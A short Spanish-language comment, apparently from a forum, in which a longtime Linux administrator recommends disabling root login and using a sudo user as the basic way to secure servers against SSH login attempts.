FWIW, he administrado docenas de servidores Linux a lo largo de los años (¿décadas?) Y sé por experiencia que simplemente deshabilitar, rooty configurar un nuevo usuario con sudoderechos, es la forma más simple y básica de proteger cualquier sistema Linux. Nunca he tenido que lidiar con ningún tipo de compromiso a través de SSH una vez que rootestá desactivado. Y sí, es posible que vea intentos de iniciar sesión a través de auth.logpero no tienen sentido; si rootestá desactivado, esos intentos nunca se sumarán a nada. ¡Solo siéntate y mira los intentos fallar sin cesar!